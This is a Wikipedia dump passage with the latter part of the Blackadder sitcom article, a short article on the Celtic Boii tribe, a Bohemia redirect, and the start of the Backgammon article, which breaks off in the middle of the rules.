In the series, [[Mr. E. Blackadder|E. Blackadder]] Esquire is the butler to the [[Prince George (Blackadder character)|Prince of Wales]] (played by [[Hugh Laurie]] as a complete fop and idiot). Despite Edmund's respected intelligence and abilities, he has no personal fortune to speak of. According to Edmund he has been serving the Prince Regent all their lives, since they were both [[breastfeeding]] (when he had to show the Prince which part of his mother was serving the drinks). There are three main sets: the Prince's quarters, which are large and lavish, the below-stairs kitchen hangout of Blackadder and Baldrick, which is dark and squalid, and finally [[Mrs. Miggins]]' [[coffee house]] (Mrs Miggins' pie shop was a never-seen [[running gag]] in ''Blackadder II''; she &amp;mdash; or, at least, a descendant of hers &amp;mdash; was now finally shown).

As well as Rowan Atkinson and Tony Robinson in their usual roles, this series starred Hugh Laurie as the Prince Regent, and [[Helen Atkinson-Wood]] (no relation to Rowan) as Mrs. Miggins. The series features [[rotten borough]]s, [[Samuel Johnson|Dr. Johnson]] (played by [[Robbie Coltrane]]), the [[French Revolution]] (featuring [[Chris Barrie]]) and the [[Scarlet Pimpernel]], over-the-top theatrical actors, highwaymen who hate squirrels, and [[duel]]s.

The opening theme is this time played on a harpsichord, oboe and cello over close-ups of Blackadder searching a book-case, the credits and &quot;Blackadder the Third&quot; appearing on some of the books' spines (along with humorous titles such as &quot;From Black Death to Blackadder&quot; and &quot;The Encyclopaedia Blackaddica&quot;).  Hidden inside a hollow book, he finds a romance novel, complete with steamy cover art, bearing the episode's title, which is always a noun paired with another noun derived from an adjective. Example: Sense and Senility (title based on the [[Jane Austen]] novel, [[Sense and Sensibility]]). The closing credits are presented in the style of a programme from a Regency-era play, and with an entirely new closing theme.

===Series 4: ''Blackadder Goes Forth''===
:See also: [[List of Blackadder episodes#Series 4: Blackadder Goes Forth (1989)|List of episodes in ''Blackadder Goes Forth'']]
This series is set in the trenches of the [[World War I|First World War]]. Another &quot;big push&quot; is planned, and [[Captain Blackadder]]'s one goal is to avoid getting shot, so he plots ways to get out of it. Blackadder is joined by the idealistic, gung-ho [[Lieutenant The Honourable George Colthurst St. Bartleigh|Lieutenant George]] (Hugh Laurie), and the world's worst cook, Private S. [[Baldrick#Private S. Baldrick - Series 4|Baldrick]]. The first initial &quot;S&quot; is taken from the first episode of Season 3, in which Baldrick says he can't remember his first name, but assumes it must be &quot;Sodoff&quot;, as when he introduces himself to people, they generally say, 'yes, we know: Sod off, Baldrick'.  Loony [[Melchett#General Sir Anthony Cecil Hogmanay Melchett|General Melchett]] rallies his troops from a French mansion, where he is aided and abetted by his administrator, [[Captain Kevin Darling|Captain Darling]] (Tim McInnerny), pencil-pusher supreme, whose name is played on for maximum comedy value. Every episode's title is based on the pairing of a military rank, major, general, etc., and another word. This format is not used in the final episode, titled &quot;Goodbyeee&quot;. In a list of the [[100 Greatest British Television Programmes]] drawn up by the [[British Film Institute]] in 2000, voted for by industry professionals, ''Blackadder Goes Forth'' was placed 16th.

Note: Captain Darling's name was originally intended to be Captain Cartwright, until Stephen Fry chirped in with the name 'Darling', and the name, along with Blackadder's pronunciation of 'Bob', became one of the funniest words to be said in the series.
   
The theme tune here was played by a military band (in this case the Band of the 3rd Battalion, [[The Royal Anglian Regiment]]) over opening title images of Blackadder and George parading their men past Melchett and Darling, while Baldrick plays the triangle. The music starts with the opening bars of '[[The British Grenadiers]]' before segueing into the familiar ''Blackadder'' theme. In the closing credits, the full ''Blackadder'' theme plays as the men march off down the parade ground. Of note is that the titles here are presented as static captions instead of being rolled as on the previous three series, and that the crew credits are presented in pseudo-military fashion: for example, the designer is credited thus: ' Dgr – 404371 Hull, C '.  Also of note is that the opening sequence is filmed in color, while the closing sequence is filmed in grainy, streaky black-and-white.

====Moral messages====
The final episode of the last series, &quot;Goodbyeee...&quot;, is known for being extraordinarily moving for a comedy &amp;mdash; especially the final scene, which sees the main characters (Blackadder, Baldrick, George, and Darling) finally going over the top and charging off to die in the fog and smoke of [[No man's land|No Man's Land]]. (Melchett remains at his office but blithely orders a reluctant Darling to meet the others.) Blackadder's final line, said before this scene, offered after Baldrick claims to have one last plan to stop them going over the top (at which point a [[Regimental Sergeant Major|RSM]]-type command voice orders the men to &quot;stand ready&quot;, then to ascend to the [[Trench warfare|fire step]], then to go &quot;[[over the top]]&quot;): &quot;Well, I am afraid it will have to wait. Whatever it was I am sure it was better than my plan to get out of this by pretending to be mad. I mean, who would have noticed another madman around here? Good luck everyone.&quot; is particularly poignant and memorable. &quot;Goodbyeee...&quot; also had no closing titles, simply fading from Blackadder, Baldrick, George and Darling charging across No-Man's Land under fire, to a field of [[poppy|poppies]] in the sunlight, an obvious reference to the poem &quot;[[In Flanders Fields]]&quot;. &quot;Goodbyee&quot; was also the title of a popular song during the First World War.

===Specials===
====&quot;Blackadder: The Cavalier Years&quot;====  
This takes place at the time of the [[English Civil War]]. It is a short episode, shown as part of [[Comic Relief]]'s [[Red Nose Day]] in 1988.   
    
The Episode begins in November 1648. King [[Charles I of England]], [[Scotland]] and [[Ireland]] has already lost the Civil War. Only two men remain loyal to him. Sir Edmund Blackadder, the sole descendant of the Blackadder dynasty at the time and his servant Baldrick, the only son of a pig farmer and a bearded lady (both according to the introduction). They have given refuge to the King in Blackadder Hall. Edmund remains loyal because as a known royalist he sees the King as his only hope of survival and also because of his fear of a hideous age of [[Puritanism]], full of moral prohibitions (as he describes it). During a short absence of Edmund, [[Oliver Cromwell]] himself arrives at Blackadder Hall, accompanied by a number of his [[Roundheads]]. He is personally investigating the King's whereabouts. Baldrick fails to convince him that he has no idea (by claiming he did not know and asking Cromwell later to put down a cup, &quot;because it's the king's&quot;). Between this and the following scene Cromwell discovers and arrests the King.   
    
The second scene takes place in the [[Tower of London]], two weeks later. King Charles' praying is interrupted by two subsequent visits. The first by Cromwell who warns him of his doom and the second by Edmund, disguised as a priest. He informs the King that he is planning his escape. While Edmund is still there the King receives a notice that he has been sentenced to death. (Despite its placement in late November or early December 1648 within the context of this episode, historically King Charles' sentence to death came on [[January 27]], [[1649]]).   

As [[January 29]], [[1649]] arrives and his execution approaches, King Charles is again visited by Edmund. Though his plans for an escape haven't materialised he informs the King that there is still some hope. The Parliament has yet to find a man willing to be the King's executioner. Charles, rather philosophically, proclaims that he isn't looking forward to his execution but &quot;It's a question of balance, isn't it? Like so many other things&quot; (Charles, played by [[Stephen Fry]] is very much a pastiche of his modern day namesake the [[Charles, Prince of Wales|Prince of Wales]]). Edmund proceeds in assuring Charles that no one would dare to become the King's executioner. Just as he says that, the King receives a notice that they found his executioner.   
    
Back at Blackadder Hall, Baldrick is singing as Edmund proclaims his life to be in ruins. While Baldrick informs him that he has accepted a job, Edmund wonders who could be so utterly without heart and soul, so low and degraded as to behead the King of England. As his own words sink in, he proceeds in interrogating Baldrick who admits that it was he who accepted the position. Baldrick explains to the reasonably enraged Edmund that he has a plan to save the King. He presents Edmund with a huge pumpkin, painted to represent a human face. He plans to place it on the King's head and chop it instead. Edmund dismisses the plan as unconvincing as Baldrick will have to hold it in front of the crowd, which is sure to notice. Baldrick, though saddened, says that at least the money, £1000, is good. Edmund's greed awakes at this and he proceeds in taking the money from Baldrick and announcing that he would replace him as the executioner. (Historically King Charles' executioner was Richard Brandon.)   
    
[[January 30]], [[1649]], King Charles' day of execution. King Charles is left alone for a few minutes with his executioner, Edmund in a hood and with a false voice. Edmund takes advantage of these minutes to relieve the King of his money bag. But the King finally recognizes him. He congratulates him for trying to save him even in the last minute and gives him custody of his infant son, the later King [[Charles II of England]], [[Scotland]] and [[Ireland]]. (Historically he was 19 years old at the time of his father's death). For lack of a better plan Edmund uses the one Baldrick had suggested. The camera then focuses to Baldrick who is listening at the sounds of the execution. Edmund chops the pumpkin and proclaims that &quot;This is the head of a traitor&quot;. Predictably the crowd answers &quot;No, it's not; it's a huge pumpkin with a pathetic moustache drawn on it&quot;. Edmund apologises and says he will try again. Baldrick still listens as Edmund beheads Charles and the crowd cheers.

As the last scene begins Edmund and Baldrick have returned to Blackadder Hall. A disgusted Edmund cradles the infant Charles in his hands. Baldrick tries to console him by saying that at least he tried and that now the future of the British monarchy lies fast asleep in his arms in the person of this infant prince. He suggests to his master that he should be ready to escape to France, because as a known loyalist he is in danger of being arrested by the Roundheads and beheaded. Edmund, who apparently had forgotten that he is in a position of danger, immediately rises from his seat, ready to take action. But before he can do anything. Roundheads are already at the Hall's doors demanding his surrender. Edmund explains to Baldrick that there is no choice for a man of honour but to stand and fight, and die in defence of his future sovereign. Fortunately for him, he was never a man of honour. Passing the prince to Baldrick, Edmund proceeds in removing his long black hair, apparently a wig, his false moustache and beard to reveal a Roundhead appearance - short blond hair and a clean-shaven face. Thus unrecognisable, when a Roundhead enters the room he denounces Baldrick as a &quot;royalist scum&quot;. The episode ends with Baldrick, still holding the Prince in his arms, being approached by the Roundhead, sword drawn.
:BBC One, Friday [[February 5]], [[1988]], 9.45–10pm

====&quot;Blackadder's Christmas Carol&quot;====
''Main article:'' &quot;[[Blackadder's Christmas Carol]]&quot;   
    
The second special was broadcast in 1988. In a twist on [[Charles Dickens]]' ''[[A Christmas Carol]]'', Ebenezer Blackadder is the &quot;kindest and loveliest&quot; man in England, and could be considered to be the 'white sheep' of the Blackadder Family. One of the ghosts that so effectively convinced Ebenezer Scrooge to change his miserly ways reluctantly displays for this Blackadder the contrary antics of his ancestors and descendants, causing him to proclaim, &quot;Bad guys have all the fun.&quot;   
:BBC One, Friday [[December 23]], [[1988]], 9.30–10.15pm

====&quot;Blackadder and the King's Birthday&quot;====
A short sketch  with Rowan Atkinson as Lord Blackadder and [[Stephen Fry]] as King Charles II was performed at the [[Charles, Prince of Wales|Prince of Wales]]' 50th Birthday Gala. It was televised on [[ITV]] (in the UK) on [[14 November]] [[1998]].

====&quot;Blackadder: The Army Years&quot;====
The Royal Variety Performance 2000
A short sketch with Rowan Atkinson as the modern-day Lord Edmund Blackadder of Her Royal Highness's regiment of shirkers. The sketch was written and introduced by [[Ben Elton]]. 

====&quot;Blackadder: Back &amp; Forth&quot;====
''Main article: [[Blackadder: Back &amp; Forth]]''

''Blackadder: Back &amp; Forth'' was originally shown in the [[Millennium Dome]] in 2000, followed by a screening on [[Sky One]] in the same year (and later on BBC1). It is set on the turn of the [[millennium]], and features Lord Blackadder placing a bet with his friends &amp;mdash; modern versions of Queenie ([[Miranda Richardson]]), Melchett ([[Stephen Fry]]), George ([[Hugh Laurie]]) and Darling ([[Tim McInnerny]]) &amp;mdash; that he has built a working [[time machine]]. While this is intended as a clever con trick, the machine, surprisingly, does work, sending Blackadder and Baldrick back to the time of the [[dinosaur]]s.

Attempting to find their way home, they find themselves at the court of Elizabeth I, where they are mistaken for the contemporary versions, and Blackadder takes the opportunity to assault [[William Shakespeare]] ([[Colin Firth]]) &quot;on behalf of every schoolboy and schoolgirl for the next 400 years&quot;. They next arrive in Sherwood Forest, where Blackadder, held hostage by [[Robin Hood]] ([[Rik Mayall]]) talks the Merry Men into revolt. They eventually kill Robin and, after spending some time in the forest &amp;mdash; in Edmund's case, with [[Maid Marian]] ([[Kate Moss]]) and in Baldrick's, with Will Scarlett, they return to the machine.

The duo have brief stopovers at the Battle of Waterloo, where they accidentally kill [[Arthur Wellesley, 1st Duke of Wellington|Wellington]] ([[Stephen Fry]]), and in [[Roman Britain]], where Centurion Blacaddicus and Legionary Baldricus face the [[Scot]]s, before they finally find their way home, thanks to Baldrick's cunning plan of sticking his head into the toilet and seeing where the switches were when his life flashes before his eyes.

After returning home to a French-ruled Britain where no-one's heard of Shakespeare or Robin Hood, Blackadder quickly returns to the machine and restores history. Upon his second return, the others comment that a machine like that could be dangerous in the wrong hands. This gives Blackadder a very cunning plan indeed, and he excuses himself while the others watch the Millennium celebrations on television.

The television shows King Edmund III and Queen Marian of Sherwood arriving at the Millennium Dome to be greeted by Prime Minister Baldrick. The Blackadders have finally achieved their destiny.

====&quot;The Jubilee Girl&quot;====
''The Jubilee Girl'' was a [[29 December]] [[2002]] BBC special about [[Queen Elizabeth II]]'s Golden Jubilee. It featured Sir Osmond-Darling Blackadder (Keeper of Her Majesty's Lawn Sprinklers) and [[Dame Edna Everage]]. Earlier, a BBC &quot;advertisement&quot; for the celebrations also featured this incarnation of Blackadder.

==Anachronism==
''Main article:'' [[Historical anomalies in Blackadder]]

The Blackadder series contain many instances of anachronism or anachronistic references.  For example:
*In ''The Black Adder'', the [[Duke of Edinburgh]] is one of Edmund's titles. However, [[Scotland]] had a separate monarchy at this point, and this title had not yet been created.
*''Blackadder The Third'' encompasses many historical persons and events from throughout the reign of [[George III of the United Kingdom|George III]] (1760&amp;ndash;1820) and even beyond, despite the appearance of taking place over a relatively short period of time. For example, Samuel Johnson completed his dictionary in 1755, which is the premise for the second episode. In the same instalment, Dr Johnson is seen hanging out with Lord Byron, despite the fact that in real life, the latter was born four years after the former died. The most common setting appears to be during the [[Regency]] (1811&amp;ndash;20) despite the fact that Prince George is portrayed as thin and young, when actually, by this point, he was in his early fifties and very, very fat. (Despite this disparity, jokes are made about Prince George's great weight.)  There are also a number of references to [[Napoleon I of France|Napoleon Bonaparte]] throughout the series, yet the [[French Revolution]] only takes place in the third episode.
*In the earlier episodes (&quot;Dish and Dishonesty&quot; and possibly &quot;Ink and Incapability&quot;), Edmund has an [[iron maiden (torture device)|iron maiden]] torture and execution device in his bedroom. The only known example of such an instrument was located in Nuremberg.

==Cast==   
''Main article:'' [[List of characters in Blackadder]]

The main recurring members of the cast (whose characters -despite being having the same name and characteristics, had various titles throughout the different series) were:
* [[Edmund Blackadder]]: ([[Rowan Atkinson]])   
* [[Baldrick|Sodoff Baldrick]]: ([[Tony Robinson]])   
* [[Lord Percy Percy]]/[[Captain Kevin Darling]]: ([[Tim McInnerny]])   
* [[Queenie|Queen Elizabeth I]]/[[Amy Hardwood]]/Nurse Mary Fletcher-Brown: ([[Miranda Richardson]])   
* [[Prince George (Blackadder character)|Prince George]]/[[Lieutenant The Honourable George Colthurst St. Bartleigh]]/Prince Ludwig the Indestructible/Simon &quot;Farters Parters&quot; Partridge )(a.k.a. Mr [[Ostrich]]): ([[Hugh Laurie]])   
* [[Melchett]]/[[Arthur Wellesley, 1st Duke of Wellington|The Duke of Wellington]]: ([[Stephen Fry]])

[[Patsy Byrne]] received huge plaudits for her crucial role as Nursie in all six episodes of ''Blackadder II'' but never featured in either of the subsequent series, either as a regular character or one-off. Her only future roles in Blackadder were in ''Blackadder Back and Forth'' and ''Blackadder's Christmas Carol'', when she briefly reprised Nursie during scenes set in the ''Blackadder II'' era and then in ''Carol's'' Christmas future scenes, also playing the &quot;triple husbandoid&quot; to Queen Asphyxia. Similarly, Helen Atkinson-Wood was a welcome addition to the cast for the role of Mrs Miggins in all six episodes of ''Blackadder the Third'', but did not appear again in the programme.

[[Ben Elton]]'s arrival after the first series heralded the more frequent recruitment of comic actors from the famed &quot;alternative&quot; era for guest appearances, including [[Robbie Coltrane]], [[Rik Mayall]] (who had actually appeared in the final episode of the first series as Mad Gerald), [[Adrian Edmondson]], [[Nigel Planer]], [[Mark Arden]], [[Stephen Frost]], [[Chris Barrie]] and [[Jeremy Hardy]]. Elton himself played an anarchist in ''Blackadder the Third''.

However, aside from the regular cast listed above, only one actor - [[Lee Cornes]] - appeared in an episode of all three Curtis-Elton series. He appeared as a guard in the episode ''Chains'' of ''Blackadder II''; as the poet [[Percy Bysshe Shelley|Shelley]] in the episode ''Ink and Incapability'' of ''Blackadder the Third''; and as firing squad soldier [[Private (rank)|Private]] Fraser in the episode ''Corporal Punishment'' of ''Blackadder Goes Forth''.

More 'establishment'-style actors, some at the veteran stage of their careers, were also recruited for roles. These included [[John Grillo]], [[Tom Baker]], [[Jim Broadbent]], [[Hugh Paddick]], [[Kenneth Connor]], [[Bill Wallis]], [[Ronald Lacey]], [[Roger Blake]], [[Denis Lill]], [[Warren Clarke]], [[Miriam Margolyes]] and, perhaps most famously, [[Geoffrey Palmer (actor)|Geoffrey Palmer]] who played [[Douglas Haig|Field Marshal Sir Douglas Haig]] in ''Goodbyeeee...'', the final, fatal episode of ''Blackadder Goes Forth''.

Unusually for a sitcom based loosely on factual events and in the historical past, a man was recruited for one episode essentially to play himself. Political commentator [[Vincent Hanna]] played a character billed as &quot;his own great-great-great grandfather&quot; in the episode ''Dish and Dishonesty'' of ''Blackadder the Third''. Hanna was asked to take part because the scene was of a [[by-election]] in which Baldrick was a candidate and, in the style of modern television, Hanna gave a long-running &quot;live&quot; commentary of events at the count (and interviewed candidates and election agents) to a resident through the [[town hall]] window.

==Quotes==
The following comes from a scene in &quot;Beer&quot; (''Blackadder II''), when there is a knock at the door.

:'''Blackadder''': Get the door, Baldrick.
:[There is a crash and Baldrick enters with the door]
:'''Blackadder''': Baldrick, I would advise you to make the explanation you are about to give, phenomenally good.
:'''Baldrick''': You said get the door.
:'''Blackadder''': Not good enough, you're fired.
:'''Baldrick''': But, my lord, I've been in your family since 1532.
:'''Blackadder''': So has syphilis. Now get out.

The following comes from a scene in &quot;Sense and Senility&quot; (''Blackadder III''), as Blackadder is preparing to leave.
:'''Blackadder''': Baldrick, I would like to say how much I will miss your honest and friendly companionship.
:'''Baldrick''': Ah, thank you, Mr B.
:'''Blackadder''': But as we both know, that would be an utter lie.

The following comes from a scene in &quot;Private Plane&quot; (''Blackadder Goes Forth''), when Lord Flasheart is beginning lessons on flying a &quot;kite&quot; (slang for airplane).

:'''Lord Flasheart''': Always treat your plane like you treat your woman.
:'''Lieutenant George''': What do you mean, sir, take her home at the weekend to meet your mother?
:'''Lord Flasheart''': No, I mean get inside her five times a day and take her to heaven and back!

The following comes from a scene in &quot;Goodbyeee&quot; (''Blackadder Goes Forth''), when Captain Darling meets Blackadder in the trenches shortly before 'going over the top'.

:'''Captain Darling''': I made a short note in my diary on the way over here. Simply says... &quot;Bugger.&quot;

==References and tie-ins==   
All series and many of the specials are available on [[DVD]] and [[VHS|video]], as well as many available on BBC Audio Cassette.
    
Some books of particular note are:   
* Curtis, Richard, Ben Elton, and [[Rowan Atkinson]]. ''Blackadder: The Whole Damn Dynasty 1485–1917''. Penguin Books, 2000. ISBN 0140296085. Being the—almost—complete scripts of the four regular series.
* Howarth, Chris, and Steve Lyons. ''Cunning: The Blackadder Programme Guide''. Virgin Publishing, 2002. ISBN 0753504472. An unofficial guide to the series, with asides, anecdotes and observations.   
* Curtis, Richard, Ben Elton. ''Blackadder: Back &amp; Forth''. Penguin Books, 2000. ISBN 0140291350. A script book with copious photographs from the most recent outing.

==Precursors==
The plot device of a 'modern' man in ancient times is not new, and has a venerable history in fiction.

In TV comedies, perhaps the most obvious 'ancestor' of the ''Blackadder'' series is ''[[Up Pompeii]]''. The series, starring [[Frankie Howerd]] as Lurcio, was set in ancient Rome and made similar play with historical characters. Even the apparent '[[reincarnation]]' device found in ''Blackadder'' [http://members.aol.com/trogrann/blackadder.htm] is also used. 

The TV series inspired four feature films, the first two of which, ''Up Pompeii'' and ''Further Up Pompeii'', were also set in Imperial Rome with Howerd as Lurcio. The first film ended with the eruption of Vesuvius and had a final scene set in the present day, in which the actors all played tourists closely resembling their ancient roles, with Howerd being a tour guide, showing them around the ruins of Pompeii.

The third was set in medieval times and called ''Up the Chastity Belt'', with Howerd's character as 'Lurkalot' (cf '''''The Black Adder'''''). In this, Howerd's character is discovered to be a double of [[Richard Lionheart]], and later assumes the throne under his identity while the real king leads a bawdy life as Lurkalot (cf '''''Blackadder the Third'''''). 

Most strikingly, the fourth and final ''Up ...'' film, ''Up the Front'', sees Howerd's character reborn as 'Private Lurk' and fighting in the [[First World War]] (cf '''''Blackadder Goes Forth''''').

==External links==  
{{wikiquote}}
* {{imdb title|id=0084988|title=The Black Adder (1983)}}
* {{imdb title|id=0088484|title=Blackadder II (1986)}}
* {{imdb title|id=0092324|title=Blackadder the Third (1987)}}
* {{imdb title|id=0137390|title=Blackadder: The Cavalier Years (1988)}}
* {{imdb title|id=0094754|title=Blackadder's Christmas Carol (1988)}}
* {{imdb title|id=0096548|title=Blackadder Goes Forth (1989)}}
* {{imdb title|id=0212579|title=Blackadder: Back &amp; Forth (1999)}}
* [http://www.bbc.co.uk/comedy/blackadder/ BBC Comedy: Black Adder 1485–1917]   
* [http://www.episodeworld.com/show/Black_Adder Black Adder] at EPisodeWorld.com
* [http://www.blackadderhall.com/ Blackadder Hall]   
* [http://www.sitcom.co.uk/blackadder/ British Sitcom Guide]   
* [http://s3.invisionfree.com/ProDeoEtRege/index.php 'The Blackadder Society' Forum] (transcripts) 
* {{dmoz|Regional/Europe/United_Kingdom/Arts_and_Entertainment/Television/Programmes/Comedy/Blackadder/|{{PAGENAME}}}}
* [http://blackadder.powertie.org/ Powertie: A Blackadder Reference Site]   
* [http://www.tvtome.com/BlackAdder/ TV Tome: Blackadder]   
* [http://www.howardgoodall.co.uk/tvthemes/Blackadder.htm Lyrics and music] for the theme song on the composer's web site
* [http://www.lunaestas.com/blackadder Queenie's Cunning Page], a fan site
* [http://booksmusicfilmstv.com/Comedy/Blackadder.htm Blackadder - An Appreciation]

[[Category:British television sitcoms|Blackadder]]
[[Category:BBC television programmes]]
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[[Category:Shakespeare on film]]

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  <page>
    <title>Boii</title>
    <id>4327</id>
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      <text xml:space="preserve">[[Image:Map Gaul.gif|thumb|A map of [[Gaul]] showing the relative position of the [[Boii]] tribe.]]

'''Boii''' is the [[Ancient Rome|Roman]] name of three ancient [[Celtic tribes]], living in Transalpine [[Gaul]] (modern [[France]]), [[Cisalpine Gaul]] (northern [[Italy]]), and [[Bohemia]], [[Moravia]] and western [[Slovakia]]. The [[Europe]]an region of Bohemia owes its name to the Boii.

Historians in the [[19th century|19th]] and earlier [[20th century|20th centuries]] also sometimes linked the Boii to the origins of the [[Bavarian]]s (Lat. ''Baioari''), although that particular link is seldom accepted today.

Despite the derivation of the name, the ancient Boii should neither be confused with the present-day inhabitants of what it now the state of [[Bavaria]] in [[Germany]], nor with those of Bohemia in the [[Czech Republic]]. An argument can be made for an early intermixing with [[Etruscans]] from [[Italy]]; however, the same argument can also be made for the [[Celt]]ic tribes in any area they inhabited.

Sometime between [[205 BC|205]] and [[184 BC]], T. Maccius [[Plautus]] refers to the Boii in his work, ''[[Captivi]]'':
:But now he is not a [[Sicilian]] — he is a Boian; he has got a Boian woman.

Another reference to Boii is dated sometime between [[100 BC|100]] and [[44 BC]], when [[Julius Caesar]] refers to the Boii in his work, ''[[De Bello Gallico]]''. written c. 50 BC:
:They persuade the [[Rauraci]], and the [[Tulingi]], and the [[Latobrigi]], their neighbours, to adopt the same plan, and after burning down their towns and villages, to set out with them: and they admit to their party and unite to themselves as confederates the Boii, who had dwelt on the other side of the [[Rhine]], and had crossed over into the Norican territory, and assaulted [[Noreia]].
It seems quite clear that Caesar here refers to the historic [[Cimbrian War]] of c. 115 - 101 BC, during which the Cimbri and Teutones attacked the Roman frontier.  The [[Cimbri]] were led by the king [[Boiorix]] whose name means &quot;King of the Boii&quot;.  Thus it appears we are dealing with a confederation of the Cimbri and Boii led by the Boii King as over lord.  That the Boii survived until the time of Caesar (50 years after the Cimbrian War) indicates that, perhaps, the Roman propaganda of their crushing defeat against the barbarians may be overstated.  The inferred motive is clear: Roman propaganda would not allow the barbarians to inflict two crushing defeats on their forces without returning the favor.

Sometime between  [[59 BC]] and AD [[17]], in volume 21 of his work ''[[Ab Urbe Condita (book)|Ab Urbe Condita]]'', [[Livy]] says that it was a Boii that offered to show [[Hannibal]] the way across the [[Alps]].
:When, after the action had thus occurred, his own men returned to each general, [[Publius Cornelius Scipio | Scipio]] could adopt no fixed plan of proceeding, except that he should form his measures from the plans and undertakings of the enemy: and Hannibal, uncertain whether he should pursue the march he had commenced into [[Italy]], or fight with the Roman army which had first presented itself, the arrival of ambassadors from the Boii, and of a petty prince called [[Magalus]], diverted from an immediate engagement; who, declaring that they would be the guides of his journey and the companions of his dangers, gave it as their opinion, that Italy ought to be attacked with the entire force of the war, his strength having been no where previously impaired.

==References==
*T. Maccius Plautus, The ''Captiva'' and the ''Mostellaria'', as published by Project Gutenberg, as published [[1 January]] [[2005]] (EBook #7282) http://www.gutenberg.org/etext/7282  Accessed [[29 January]] [[2005]].
*Caius Julius Caesar, ''De Bello Gallico'' and Other Commentaries, as published by Project Gutenberg, [[9 January]] [[2004]] (EBook #10657) http://www.gutenberg.org/etext/10657 Accessed [[29 January]] [[2005]].
*Titus Livius, ''The History of Rome; Books Nine to Twenty-Six'', as published by Project Gutenberg, [[1 February]] [[2004]]  (eBook #10907) http://www.gutenberg.org/etext/10907 Accessed [[31 January]] [[2005]].
*http://www.ualberta.ca/~kmacfarl/CLASS_355/9.LivyI.html.  ''Says Livy wrote his famous work over 45 years from c. 29 BC - 17 AD.''

[[Category:Ancient Gauls]]
[[Category:Ancient Roman enemies and allies]]
[[Category:Ancient peoples]]
[[Category:Ethnic groups in Europe]]

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    <title>Boehmen</title>
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      <text xml:space="preserve">#REDIRECT [[Bohemia]]</text>
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  <page>
    <title>Backgammon</title>
    <id>4329</id>
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      <comment>/* External links */  Spammer at bkgm.org altered link - fixed</comment>
      <text xml:space="preserve">&lt;!--Please do not add advertising links to this page. They will be deleted immediately. Wikipedia does not advertise commercial websites. Thank you.--&gt;[[Image:Backgammon_board.jpg|right|thumb|230px|Close-up of modern backgammon set.]]
[[Image:Backgammon-set from American civil war.jpeg|right|thumb|230px|Backgammon set, 19th century]]
'''Backgammon''' is a [[board game]] for two players. Each player has fifteen pieces (''checkers'' or ''men'') which move between twenty-four triangles (''points'') according to the roll of two dice.  The objective of the game is to be first to ''bear off'', that is, to move all fifteen checkers off the board.

==History==

Backgammon is the oldest known recorded game. Traditionally, it was believed to have originated  in ancient [[Egypt]], [[Sumeria]], or [[Mesopotamia]] in the [[Persian empire]] (present-day [[Iran]]). However, more recent conclusive evidence indicates that the game originated on the eastern borders of Iran, near Afghanistan.&lt;small&gt;[http://www.chn.ir/en/news/?id=4212&amp;section=2 (e.g.)]&lt;/small&gt; The Iranian chancellor and thinker of the [[Sassanid Empire]] [[Bozorgmehr]] is said to have created the ancient version of the game. In English, the word backgammon is believed to be derived from &quot;back&quot; plus the Middle English word &quot;gamen&quot; (game).

[[Tabula]] was a form of backgammon played by the ancient Romans.  It was called tabula, which means 'table' or 'board', since it was played on a special board. Tabula bears some similarity to Egyptian [[Senet]], which dates back to at least 3000 BC.

The game of [[Tabula]] was similar to modern-day Backgammon in that the same board was used with fifteen pieces alloted to each player with the object of the game being to be the first to bear off all fifteen pieces.  It differed in that the game began with no pieces on the board so that these first had to be entered by the roll of the dice.  Likewise, three dice were used instead of two.  Finally, both players entered the board from the same table and moved around the board in the same counterclockwise direction.

==Rules==

Backgammon is a simple game with deep strategic elements.  It does not take long to learn to play, although obscure situations do arise which require careful interpretation of the rules.  The playing time for each individual game is short, so it is often played in matches, for example the first to five points. ''Game'' and ''match'' are used in Backgammon to refer to these distinct elements, as in, &quot;I won two games in a row, but then she won three in a row and I lost the match, three points to two.&quot;

In short, players are trying to get all of their pieces past their opponent's pieces. This is difficult because the pieces are scattered at first, and may be blocked or captured by the opponent's pieces.

Each side of the board has a track of twelve adjacent spaces, called ''points'' and usually represented by long triangles of alternating (but meaningless) color.  The tracks are imagined to be connected across the break in the middle and on just one edge of the board, making a continuous line (but not a circle) of twenty-four points.  The points are numbered from 1 to 24, with checkers always moving from higher-numbered points to lower-numbered points.  The two players move their checkers in opposite directions, so the 1-point for one player is the 24-point for the other.  Some recorded games, however, keep the numbering of the points constant from the perspective of one player.

Each player begins with two checkers on his 24-point, three checkers on his 8-point, and five checkers each on his 13-point and his 6-point.

&lt;center&gt;[[image:bg_sg_start.png]]&lt;/center&gt;

Note that the board as shown can be flipped horizontally, with starting positions and direction of play likewise flipped but with no changes to the mechanics of gameplay. The two orientations are equally common and game boards are all designed to be played both ways.

Points one to six, where the player wants to get his pieces to, are called the ''home board'' or ''inner board''.  A player may not bear off any checkers unless all of his checkers are in his home board.  Points seven to twelve are called the ''outer board'', points thirteen to eighteen are the opponent's outer board, and points nineteen to twenty-four are the opponent's home board. The 7-point is often referred to as the ''bar point'' and the 13-point as the ''mid point''.

At the start of the game, each player rolls one die.  Whoever rolls higher starts his first turn using the numbers on the already-rolled dice. In case of a tie, the players roll again. The players alternate turns and roll two dice at the beginning of each turn after the first.

After rolling the dice a player must, if possible, move checkers the number of points showing on each die.  For example, if he rolls a 6 and a 3, he must move one checker six points forward and another one three points forward.  The dice may be played in either order.  The same checker may be moved twice as long as the two moves are distinct: six and then three, or three and then six, but not nine all at once.

If a player has no legal moves after rolling the dice, because all of the points to which he might move are occupied by two or more enemy checkers, he forfeits his turn. However, a player must play both dice if it is possible.  If he has a legal move for one die only, he must make that move and then forfeit the use of the other die. (If he has a legal move for either die, but not both, he must play the higher number.)

If a player rolls two of the same number (''doubles'') he must play each die twice.  For example, upon rolling a 5 and a 5, he must play four checkers forward five spaces each.  As before, a checker may be moved multiple times as long as the moves are distinct.

A checker may land on any point occupied by no checkers or by friendly checkers.  Also it may land on a point occupied by exactly one enemy checker (a lone piece is called a ''blot'').  In the latter case the blot has been ''hit'', and is temporarily placed in the middle of the board on the ''bar'', i.e., the divider between the home boards and the outfields.  A checker may never land on a point occupied by two or more enemy checkers.  Thus no point is ever occupied by checkers from both players at the same time.

Checkers on the bar re-enter the game through the opponent's home field.  A roll of 1 allows the checker to enter on the 24-point, a roll of 2 on the 23-point, etc.  A player with one or more checkers on the bar may not move any other checkers until all of the checkers on the bar have re-entered the opponent's home field.  

